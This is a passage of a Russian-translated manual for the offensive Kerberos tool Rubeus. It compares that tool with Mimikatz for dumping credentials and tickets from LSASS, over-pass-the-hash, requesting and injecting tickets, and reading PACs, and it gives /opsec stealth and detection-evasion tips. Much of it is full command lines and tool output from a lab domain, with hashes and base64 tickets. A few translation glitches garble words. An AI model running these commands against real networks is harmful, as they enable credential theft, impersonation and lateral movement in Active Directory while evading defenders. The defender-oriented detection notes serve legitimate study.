С точки зрения сети или журналов контроллера домена, поскольку Rubeus реализует многие части обычного протокола Kerberos, основной метод обнаружения связан с использованием rc4_hmac в обменах Kerberos. Современные домены Windows (функциональный уровень 2008 и выше) по умолчанию используют шифрование AES в обычных обменах Kerberos (за некоторыми исключениями, такими как билеты доверия между областями). Использование хэша rc4_hmac (NTLM) в обмене Kerberos вместо ключа aes256_cts_hmac_sha1 (или aes128) приводит к появлению некоего сигнала, который можно обнаружить на уровне хоста, уровне сети (если трафик Kerberos анализируется) и уровне журнала событий контроллера домена; это явление иногда известно как «понижение уровня шифрования».
Один из распространённых способов обнаружения инструментов атаки — через вектор оружизации кода. Если Rubeus запускается через PowerShell (включая Empire), применяются все стандартные средства защиты PowerShell V5 (подробное ведение журнала блоков скриптов, AMSI и т.д.). Если Rubeus выполняется как бинарный файл на диске, в игру вступает стандартное обнаружение по сигнатурам антивируса (это одна из причин, почему мы не выпускаем скомпилированные версии Rubeus, так как хрупкие сигнатуры — это глупо ; ). Если Rubeus используется как библиотека, то он уязвим для любого метода, который основной инструмент использует для запуска. А если Rubeus запускается через неуправляемое выполнение сборки (например, execute_assembly в Cobalt Strike), выполняется межпроцессная инъекция кода и в потенциально не-.NET-процесс загружается CLR, хотя этот сигнал присутствует для выполнения любого .NET-кода данным методом.
Кроме того, AMSI (Antimalware Scan Interface — интерфейс сканирования вредоносного ПО) был добавлен в .NET 4.8. Ryan Cobb предоставляет дополнительные подробности об атакующих последствиях этого в разделе Защита своего поста «Entering a Covenant: .NET Command and Control».
Допустим, у нас есть повышенный доступ на машине и мы хотим извлечь учётные данные пользователя для повторного использования.
Mimikatz — это швейцарский нож для извлечения учётных данных с множеством опций. Команда sekurlsa::logonpasswords откроет дескриптор для чтения к процессу LSASS, перечислит сессии входа в системе, присутствующие в системе, пройдёт по пакетам аутентификации по умолчанию для каждой сессии входа и извлечёт любые обратимые пароли/учётные данные. Примечание: команда sekurlsa::ekeys перечислит ВСЕ типы ключей, присутствующие для пакета Kerberos.
Rubeus не содержит кода для взаимодействия с LSASS (и не планирует его содержать), поэтому его функциональность ограничена извлечением билетов Kerberos с использованием API LsaCallAuthenticationPackage(). С точки зрения отсутствия повышенных привилегий, ключи сессий для TGT (билетов выдачи билетов) по умолчанию не возвращаются, поэтому будут полезны только извлечённые сервисные билеты (команда tgtdeleg использует трюк Kekeo для получения пригодного для использования TGT для текущего пользователя). Если выполняется в контексте высокой целостности, запускается эквивалент GetSystem с использованием дублирования токена для повышения привилегий до SYSTEM, и регистрируется поддельное приложение входа в систему с помощью вызова API LsaRegisterLogonProcess(). Это позволяет привилегированное перечисление и извлечение всех билетов, в настоящее время зарегистрированных с LSA в системе, в результате чего выводятся закодированные в base64 файлы .kirbi для последующего повторного использования.
Mimikatz может выполнить такое же извлечение .kirbi в base64 с помощью следующей последовательности команд:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatz также может извлечь билеты напрямую из памяти LSASS с помощью:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
Поскольку «всё остаётся незаметным, пока кто-то не ищет это», можно спорить, что более «скрытно»: манипуляция LSASS или извлечение билетов через вызов API LsaCallAuthenticationPackage(). Из-за популярности Mimikatz открытие дескриптора для LSASS и чтение/запись его памяти стали большой целью для обнаружения и/или предотвращения EDR. Однако LsaCallAuthenticationPackage() используется ограниченным набором процессов, а создание поддельного приложения входа в систему с помощью LsaRegisterLogonProcess() также является довольно аномальным поведением. Тем не менее, полная интроспекция на уровне API и установка базового уровня, по-видимому, являются более сложной технической задачей, чем защита LSASS.
Допустим, мы получили хэш rc4_hmac (NTLM) пользователя и хотим повторно использовать эту учётную запись для получения доступа к дополнительной машине, к которой этот пользователь имеет привилегированный доступ.
Примечание: pass-the-hash != over-pass-the-hash. Традиционная техника pass-the-hash предполагает повторное использование хэша через протокол NTLMv1/NTLMv2, который вообще не затрагивает Kerberos. Подход over-pass-the-hash был разработан Benjamin Delpy и Skip Duckwall (подробности смотрите в их презентации "Abusing Microsoft Kerberos - Sorry you guys don't get it"). Этот подход превращает хэш/ключ (rc4_hmac, aes256_cts_hmac_sha1 и т.д.) для пользователя, привязанного к домену, в полноценный билет-выдача-билетов (TGT).
Сравним «выполнение over-pass-the-hash» с помощью команды sekurlsa::pth в Mimikatz и использование команды asktgt из Rubeus (или Kekeo, если вы предпочитаете).
Когда sekurlsa::pth используется для over-pass-the-hash, Mimikatz сначала создает новый процесс типа входа 9 с фиктивными учётными данными — это создает новую «жертвенную» сессию входа, которая не взаимодействует с текущей сессией. Затем он открывает процесс LSASS с возможностью записи в память процесса, и предоставленный хэш/ключ вписывается в соответствующий раздел для связанной сессии входа (в данном случае для «жертвенной» сессии, которая была запущена). Это приводит к запуску обычного процесса аутентификации Kerberos так, как если бы пользователь вошел в систему正常но, превращая предоставленный хэш в полноценный TGT.
Когда запускается команда asktgt из Rubeus (или эквивалентная из Kekeo), для запроса TGT используется необработанный протокол Kerberos, который затем применяется к текущей сессии входа, если передан флаг /ptt.
С помощью подхода Mimikatz для манипуляций требуются права администратора, поскольку вы работаете напрямую с памятью LSASS. Как уже упоминалось, популярность Mimikatz также привела к тому, что такое поведение (открытие дескриптора LSALLOW и чтение/запись его памяти) стало основной целью для обнаружения и/или предотвращения системами EDR. С подходом Rubeus/Kekeo права администратора не требуются, поскольку LSASS не затрагивается. Однако, если тикет применяется к текущей сессии входа (с помощью /ptt), TGT текущей сессии входа будет перезаписано. Этого поведения можно избежать (с правами администратора), используя команду /createnetonly для создания жертвенного процесса/сессии входа, а затем применив /ptt /ticket:X /luid:0xa.. с LUID вновь созданного процесса. При использовании Cobalt Strike применение команды make_token с фиктивными учетными данными, а затем kerberos_ticket_use с тикетом, полученным через Rubeus, позволит применить новый TGT способом, который: а) не требует прав администратора, и б) не перезаписывает TGT текущей сессии входа.
По нашему мнению, подход с манипуляцией LSASS в настоящее время с большей вероятностью будет обнаружен или нейтрализован из-за популярности этой техники. Однако подход Rubeus также приводит к появлению другого обнаруживаемого поведения. Трафик Kerberos к порту 88 в норме должен исходить только от lsass.exe - отправка сырого трафика такого типа с ненормального процесса может быть обнаружена, если эту информацию можно собрать.
Примечание: оба подхода потенциально могут быть выявлены уже упомянутым методом "понижения уровня шифрования". Для получения ключей AES используйте модуль Mimikatz sekurlsa::ekeys для возврата ВСЕХ ключей шифрования Kerberos (аналично работает lsadump::dcsync), которые лучше использовать для обхода некоторых средств обнаружения.
Разбор команд запроса тикетов:
| Команда | Описание |
|---|---|
| asktgt | Запросить выдающий тикет (TGT) по хешу/ключу или паролю |
| asktgs | Запросить сервисный тикет с переданным TGT |
| renew | Обновить (или автообновить) TGT или сервисный тикет |
| brute | Выполнить атаку перебора пароля на основе Kerberos. Вместо 'brute' также можно использовать 'spray' |
| preauthscan | Выполнить поиск учетных записей, не требующих предварительной аутентификации Kerberos |
Действие asktgt формирует сырой трафик AS-REQ (запрос TGT) для указанного пользователя и ключа шифрования (/rc4, /aes128, /aes256 или /des). Вместо хеша также можно использовать флаг /password - в этом случае /enctype:X по умолчанию будет RC4 для обмена, с опциями des|aes128|aes256. Если не указан /domain, извлекается текущий домен компьютера, если не указан /dc, аналогично определяется текущий контроллер домена системы. Если аутентификация проходит успешно, полученный AS-REP разбирается, и KRB-CRED (файл .kirbi, содержащий TGT пользователя) выводится как блоб base64. Флаг /ptt выполнит "передать тикет" и применит полученное Kerberos-удостоверение к текущей сессии входа. Флаг /luid:0xA.. применит тикет к указанному идентификатору сессии входа (требуется повышение прав) вместо текущей.
Обратите внимание, что для запроса TGT или их применения к текущей сессии входа на хосте не требуются повышенные привилегии, только правильный хеш для целевого пользователя. Еще одно замечание по operational security: к текущей сессии входа одновременно может быть применен только один TGT, поэтому предыдущий TGT будет удален при применении нового тикета с опцией /ptt. Решением является использование параметра /createnetonly:C:\X.exe (который по умолчанию скрывает процесс, если не указан флаг /show), либо запрос тикета и его применение к другой сессии входа с помощью ptt /luid:0xA...
По умолчанию существует несколько различий между AS-REQ, сгенерированными Rubeus, и подлинными AS-REQ. Чтобы формировать AS-REQ, более соответствующие оригинальным запросам, можно использовать флаг /opsec. Он сначала отправит начальный AS-REQ без предварительной аутентификации; если он успешен, полученный AS-REP будет расшифрован, и TGT возвращен, в противном случае будет отправлен AS-REQ с предварительной аутентификацией. Поскольку этот флаг предназначен для повышения скрытности трафика Rubeus, по умолчанию его нельзя использовать с каким-либо типом шифрования, кроме aes256; при использовании другого типа шифрования будет выведено предупреждение и выполнен выход. Для разрешения использования других типов шифрования с изменениями /opsec существует флаг /force.
Аутентификация PKINIT поддерживается с аргументом /certificate:X. Когда закрытый ключ в файле PFX защищен паролем, этот пароль можно передать с помощью аргумента /password:X. При использовании аутентификации PKINIT флаг /getcredentials может использоваться для автоматического запроса сервисного тикета U2U и получения NT-хеша учетной записи.
Запрос TGT без PAC можно выполнить с помощью переключателя /nopac.
Для использования KDC-прокси (MS-KKDCP) для запроса можно использовать аргумент /proxyurl:URL. Требуется полный URL для KDC-прокси, например, https://kdcproxy.exmaple.com/kdcproxy
Флаг /nopreauth может использоваться для отправки AS-REQ без предварительной аутентификации. Аргумент /service:SPN может использоваться для запроса сервисных тикетов напрямую с помощью AS-REQ; он принимает SPN или имя пользователя.
Запрос тикета по хешу RC4 для dfm.a@testlab.local и его применение к текущей сессии входа:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Действие: Запрос TGT
[*] Используется хеш rc4_hmac: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Формирование AS-REQ (с предварительной аутентификацией) для: 'testlab.local\dfm.a'
[+] Запрос TGT успешен!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE
LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az
l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Действие: Импорт тикета
[+] Тикет успешно импортирован!
[*] Действие: Описание тикета
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
Запрос билета с помощью хеша aes256_hmac для **dfm.a@testlab.local**, создание нового скрытого процесса и применение билета к этому сеансу входа. **Примечание: требуются права администратора!**
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Создание процесса (/netonly)
[*] Показывать процесс : Нет
[+] Процесс : 'C:\Windows\System32\cmd.exe' успешно создан с LOGON_TYPE = 9
[+] Идентификатор процесса : 7564
[+] LUID : 0x3c4c241
[*] Действие: Запрос TGT
[*] Используется aes256_cts_hmac_sha1 хеш: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Целевой LUID : 63226433
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение AS-REQ (с предварительной аутентификацией) для: 'testlab.local\dfm.a'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 234 байт
[*] Получено 1620 байт
[+] Запрос TGT успешен!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Действие: Импорт билета
[*] Целевой LUID: 0x3c4c241
[+] Билет успешно импортирован!
**Обратите внимание, что параметры `/luid` и `/createnetonly` требуют повышения привилегий!**
Запрос билета с использованием сертификата и команды `/getcredentials` для получения NT-хеша:
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Запрос TGT
[*] Используется PKINIT с типом шифрования rc4_hmac и субъектом: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Построение AS-REQ (с PKINIT предварительной аутентификацией) для: 'rubeus.ghostpack.local\harmj0y'
[+] Запрос TGT успешен!
[*] base64(ticket.kirbi):
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
Имя сервиса : krbtgt/rubeus.ghostpack.local
Область сервиса : RUBEUS.GHOSTPACK.LOCAL
Имя пользователя : harmj0y
Область пользователя : RUBEUS.GHOSTPACK.LOCAL
Время начала : 14/07/2021 02:25:33
Время окончания : 14/07/2021 12:25:33
Продлить до : 21/07/2021 02:25:33
Флаги : name_canonicalize, pre_authent, initial, renewable, forwardable
Тип ключа : rc4_hmac
Base64(ключ) : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (ключ) : 9B1C28A276FBBE557D0F9EE153FE24E1
[*] Получение учетных данных с помощью U2U
Информация об учетных данных :
Версия : 0
Тип шифрования : rc4_hmac
Данные учетных данных :
Количество учетных данных : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
### asktgs
Действие **asktgs** будет строить/разбирать запрос сервисного билета (TGS-REQ/TGS-REP) с использованием предоставленного TGT `/ticket:X`. Это значение может быть base64-кодированием файла .kirbi или путем к файлу .kirbi на диске. Если `/dc` не указан, текущий контроллер домена компьютера извлекается и используется как назначение для запроса трафика. Флаг `/ptt` "передаст билет" и применит полученный сервисный билет к текущему сеансу входа. Один или несколько параметров `/service:X` (SPN) **должны** быть указаны через запятую.
Поддерживаемые типы шифрования в построении TGS-REQ будут RC4_HMAC, AES128_CTS_HMAC_SHA1 и AES256_CTS_HMAC_SHA1. В этом случае KDC будет использовать максимально совместимый тип шифрования для построения возвращаемого сервисного билета. Если вы хотите принудительно использовать ключи DES, RC4 или AES128/256, используйте `/enctype:[RC4|AES128|AES256|DES]`.
Для запроса сервисного билета для учетной записи с использованием корпоративного принципала (например, *user@domain.com*), можно использовать флаг `/enterprise`.
По умолчанию между TGS-REQ, сгенерированными Rubeus, и подлинными TGS-REQ существуют некоторые различия. Чтобы формировать TGS-REQ более близкими к подлинным запросам, можно использовать флаг `/opsec`. Это также вызовет автоматическую отправку дополнительного TGS-REQ при запросе сервисного билета для учетной записи, настроенной на неограниченную делегацию. Поскольку этот флаг предназначен для повышения скрытности трафика Rubeus, по умолчанию он не может использоваться ни с каким другим типом шифрования, кроме `aes256`, и будет просто выдавать предупреждение и выходить, если используется другой тип шифрования.
Для ручной отладки других сценариев можно использовать `/tgs:X` для предоставления дополнительного билета, который добавляется в тело запроса. Это также добавляет параметр делегации KDC и позволяет избежать динамического определения домена из предоставленного SPN `/service:X`, поэтому аргумент `/targetdomain:X` был реализован для принудительного использования указанного домена, что полезно для запроса делегированных сервисных билетов из чужого домена или билетов с необычными SPNs.
Флаг `/u2u` был реализован для запроса билетов User-to-User. Вместе с аргументом `/tgs:X` (для предоставления TGT целевой учетной записи) аргумент `/service:X` может быть именем пользователя учетной записи, для которой предоставлен TGT (с аргументом `/tgs:X`). Аргумент `/targetuser:X` запросит PAC любой другой учетной записи, вставив секцию PA-FOR-USER PA data с именем `целевого пользователя`.
Флаг `/printargs` выведет аргументы, необходимые для создания билета с такими же значениями PAC, если PAC читаем. Это может быть сделано путем предоставления аргумента `/servicekey:X` или выполнения запроса `/u2u` с известным ключом сессии.
Использование KDC-прокси ([MS-KKDCP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kkdcp/5bcebb8d-b747-4ee5-9453-428aec1c5c38)) для выполнения запроса возможно с помощью аргумента `/proxyurl:URL`. Требуется полный URL для KDC-прокси, например, https://kdcproxy.exmaple.com/kdcproxy
Флаг `/keyList` был реализован для [Key List Requests](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/732211ae-4891-40d3-b2b6-85ebd6f5ffff) Kerberos. Эти запросы должны использовать поддельный частичный TGT от контроллера домена только для чтения в параметре `/ticket:BASE64|FILE.KIRBI`, подробнее об этом поддельном TGT в разделе [golden](#golden). Кроме того, поле `/spn:x` должно быть установлено на SPN KRBTGT в домене, например, KRBTGT/domain.local.
Действие **asktgs** также поддерживает запрос сервисных билетов через пакет аутентификации Kerberos с использованием LSASS. Этот режим работы может быть включен путем опускания аргумента `/ticket`. По умолчанию используется TGT, связанный с текущим сеансом входа. Альтернативный сеанс входа можно указать с помощью аргумента `/luid:xxx`. При нацеливании на другие сеансы входа требуются права локального администратора. В настоящее время через LSASS можно запросить только простые сервисные билеты. Аргументы для функций, таких как S4U2Self, U2U, key list и KDC proxy, игнорируются. Запрос сервисных билетов через LSASS часто может быть более безопасным с точки зрения эксплуатации (opsec friendly), поскольку трафик Kerberos будет исходить от LSASS. Этот режим также необходим для сценариев, где активен Credential Guard / Remote Credential Guard, поскольку дамп TGT при включенном credential guard невозможен.
Запрос TGT для dfm.a, а затем использование этого билета для запроса сервисного билета для SPN "LDAP/primary.testlab.local" и "cifs/primary.testlab.local":
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Запрос TGT
[*] Используется rc4_hmac хеш: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение AS-REQ (с предварительной аутентификацией) для: 'testlab.local\dfm.a'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 230 байт
[*] Получено 1537 байт
[+] Запрос TGT успешен!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Запрос TGS
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение запроса TGS-REQ для: 'LDAP/primary.testlab.local'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 1514 байт
[*] Получено 1562 байт
[+] Запрос TGS выполнен успешно!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Действие: Импорт тикета
[+] Тикет успешно импортирован!
[*] Действие: Запрос TGS
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение запроса TGS-REQ для: 'cifs/primary.testlab.local'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 1514 байт
[*] Получено 1562 байт
[+] Запрос TGS выполнен успешно!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Действие: Импорт тикета
[+] Тикет успешно импортирован!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Вывод списка тикетов Kerberos (текущий пользователь)
[0] - 0x12 - aes256_cts_hmac_sha1
Начало/Конец/Макс.Обновление: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Имя сервера : cifs/primary.testlab.local @ TESTLAB.LOCAL
Имя клиента : dfm.a @ TESTLAB.LOCAL
Флаги : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Начало/Конец/Макс.Обновление: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Имя сервера : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Имя клиента : dfm.a @ TESTLAB.LOCAL
Флаги : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
Запрос сервисного тикета для сервисной учетной записи с поддержкой AES, с указанием, что мы поддерживаем только RC4_HMAC:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Действие: Запрос TGS
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Запрос типа шифрования 'rc4_hmac' для сервисного тикета
[*] Построение запроса TGS-REQ для: 'roast/me'
[+] Запрос TGS выполнен успешно!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Действие: Описание тикета
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Gg3zZicIl5c50KGecCf8XA==
Запрос сервисного тикета пользователь-к-пользователю (user-to-user) с включением секции PA-DATA PA для пользователя (запрос S4U2self), позволяет получить читаемый PAC для любого пользователя:
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Запрос TGS
[*] Используется контроллер домена: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Запрос типов шифрования по умолчанию (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) для сервисного тикета
[*] Построение запроса TGS-REQ пользователь-к-пользователю для: 'exploitph'
[+] Запрос TGS выполнен успешно!
[*] base64(ticket.kirbi):
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
cGxvaXRwaA==
ServiceName : exploitph
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : ccob
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 22:00:07
EndTime : 21/07/2021 07:59:39
RenewTill : 27/07/2021 21:59:39
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Расшифрованный PAC :
LogonInfo :
LogonTime : 01/01/1601 00:00:00
LogoffTime :
KickOffTime :
PasswordLastSet : 20/07/2021 21:58:44
PasswordCanChange : 21/07/2021 21:58:44
PasswordMustChange : 31/08/2021 21:58:44
EffectiveName : ccob
FullName : C Cob
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 0
BadPasswordCount : 0
UserId : 1109
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (16) NORMAL_ACCOUNT
ExtraSIDCount : 1
ExtraSIDs : S-1-18-2
ResourceGroupCount : 0
ClientName :
Client Id : 20/07/2021 21:59:39
Client Name : ccob
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : ccob@rubeus.ghostpack.local
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : DA57618BB48EA56371E374B1 (UNVALIDATED)
Если PAC можно расшифровать (с помощью запроса пользователь-к-пользователю или передав /servicekey), становится возможным вывести аргументы, необходимые для подделки тикета, содержащего те же значения PAC:
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Запрос TGS
[*] Используется контроллер домена: PDC1.rubeus.ghostpack.local (192.168.71.80)
